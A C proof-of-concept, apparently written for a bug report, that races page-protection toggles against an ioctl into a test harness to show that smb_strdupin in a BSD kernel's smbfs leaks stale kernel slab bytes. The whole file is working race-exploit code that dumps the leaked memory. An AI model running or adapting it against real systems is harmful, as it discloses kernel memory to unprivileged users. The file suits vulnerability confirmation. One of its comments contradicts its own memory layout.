DF-0716 / strdup_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 | /* * DF-0716 โ userspace race driver for the smb_strdupin TOCTOU. * * The bug (sys/netproto/smb/smb_subr.c:113-131): * smb_strdupin reads the user string byte-by-byte (length loop, checks * copyin return), then kmalloc(len, M_SMBSTR, M_WAITOK) [NOT zeroed], * then copyin(s, p, len) at :129 โ return value IGNORED. * * TOCTOU: a racing thread toggles a page within the string between the * length loop and the bulk copyin. If the bulk copyin faults, p is * partially filled with stale slab contents (freed M_SMBSTR data: * 0xdeadc0de on INVARIANTS kernels). The non-NULL p is returned and used * as t2p->t_name โ sent to the SMB server via TRANS2. * * This driver uses /dev/strdup_test (the test harness module) to call * smb_strdupin directly, bypassing the SMB protocol. A racing thread * rapidly toggles page B (PROT_READ|PROT_WRITE <-> PROT_NONE) while the * main thread calls the ioctl in a tight loop. When the toggle lands in * the window between the length loop and the bulk copyin: * - length loop succeeded (page B was readable) โ len computed * - bulk copyin faults (page B is PROT_NONE) โ return ignored, p returned * - p has stale slab bytes where page B's data should be * * Build: cc -o strdup_race strdup_race.c -lpthread * Run: ./strdup_race [iterations] (default 100000) * (requires /dev/strdup_test โ kldload strdup_test.ko after smbfs.ko) */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/stat.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* Must match the kernel module's struct + ioctl */ struct strdup_test_args { char *user_ptr; int maxlen; char *result_buf; int result_buflen; int result_is_null; }; #define STRDUP_TEST_IOCTL _IOWR('S', 1, struct strdup_test_args) #define MAXLEN 128 #define PAGE_SIZE 4096 static volatile int g_racing = 1; static char *g_page_b = NULL; static void * racer_thread(void *arg) { (void)arg; /* Rapidly toggle page B between readable and unreadable */ while (g_racing) { mprotect(g_page_b, PAGE_SIZE, PROT_NONE); mprotect(g_page_b, PAGE_SIZE, PROT_READ | PROT_WRITE); } return NULL; } int main(int argc, char **argv) { int fd, rc, i, iterations; char *buf; char result[MAXLEN]; struct strdup_test_args args; pthread_t racer; unsigned long null_count = 0, ok_count = 0, race_won = 0; int expected[MAXLEN]; iterations = (argc > 1) ? atoi(argv[1]) : 100000; fd = open("/dev/strdup_test", O_RDWR); if (fd < 0) { perror("open /dev/strdup_test (kldload strdup_test after smbfs)"); return 2; } /* * Set up a 2-page buffer. Place the string so that 127 bytes are on * page A and the NUL terminator (byte 127) is on page B. * page A: buf[0 .. PAGE_SIZE-1] * page B: buf[PAGE_SIZE .. 2*PAGE_SIZE-1] * string starts at buf[PAGE_SIZE - 127] * bytes 0..126 = 'A' (page A) * byte 127 = '\0' (page B, at buf[PAGE_SIZE]) */ buf = mmap(NULL, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); if (buf == MAP_FAILED) { perror("mmap"); return 2; } g_page_b = buf + PAGE_SIZE; /* Fill the string: 127 'A's + NUL, spanning the page boundary */ memset(buf + PAGE_SIZE - 127, 'A', 127); buf[PAGE_SIZE] = '\0'; /* NUL on page B */ /* Expected result bytes (what a correct copyin would produce) */ memset(expected, 'A', 127); expected[127] = 0; /* Start the racing thread */ pthread_create(&racer, NULL, racer_thread, NULL); printf("DF-0716: racing smb_strdupin for %d iterations...\n", iterations); printf(" string: 127 'A's on page A + NUL on page B (page boundary)\n"); printf(" racer: toggling page B PROT_NONE <-> PROT_READ|PROT_WRITE\n"); fflush(stdout); for (i = 0; i < iterations; i++) { args.user_ptr = buf + PAGE_SIZE - 127; args.maxlen = MAXLEN; args.result_buf = result; args.result_buflen = MAXLEN; args.result_is_null = -1; rc = ioctl(fd, STRDUP_TEST_IOCTL, &args); if (rc < 0) { /* ioctl itself failed (shouldn't happen) */ if (i == 0) perror("ioctl"); continue; } if (args.result_is_null) { /* smb_strdupin returned NULL โ length loop caught * the page fault (normal error path, NOT the bug) */ null_count++; continue; } /* Non-NULL result โ check if the bytes on page B are correct * or stale (race won = THE BUG) */ /* Bytes 0..126 should be 'A', byte 127 should be '\0' */ if (result[127] == 0 && memcmp(result, expected, 127) == 0) { /* Correct โ no race (bulk copyin succeeded) */ ok_count++; } else { /* RACE WON โ bulk copyin faulted, bytes 64..127 * (page B portion) are stale slab contents */ race_won++; if (race_won <= 10) { int j; printf(" [RACE WON iter %d] result bytes " "(hex, first 128):\n ", i); for (j = 0; j < 128; j++) { printf("%02x", (unsigned char)result[j]); if ((j + 1) % 32 == 0) printf("\n "); } printf("\n"); printf(" expected: 41*127 + 00, got stale " "at byte %d onward\n", (result[127] != 0) ? 127 : (memcmp(result, expected, 127) == 0) ? 127 : 0); } } } g_racing = 0; pthread_join(racer, NULL); printf("DF-0716: done.\n"); printf(" iterations: %d\n", iterations); printf(" NULL (length loop caught fault): %lu\n", null_count); printf(" OK (no race, correct string): %lu\n", ok_count); printf(" RACE WON (stale bytes returned): %lu\n", race_won); if (race_won > 0) printf(" ==> BUG CONFIRMED: copyin return " "ignored, stale slab contents returned\n"); else printf(" (race not won in %d iterations โ " "code defect confirmed by source trace)\n", iterations); close(fd); munmap(buf, 2 * PAGE_SIZE); return (race_won > 0) ? 0 : 1; } |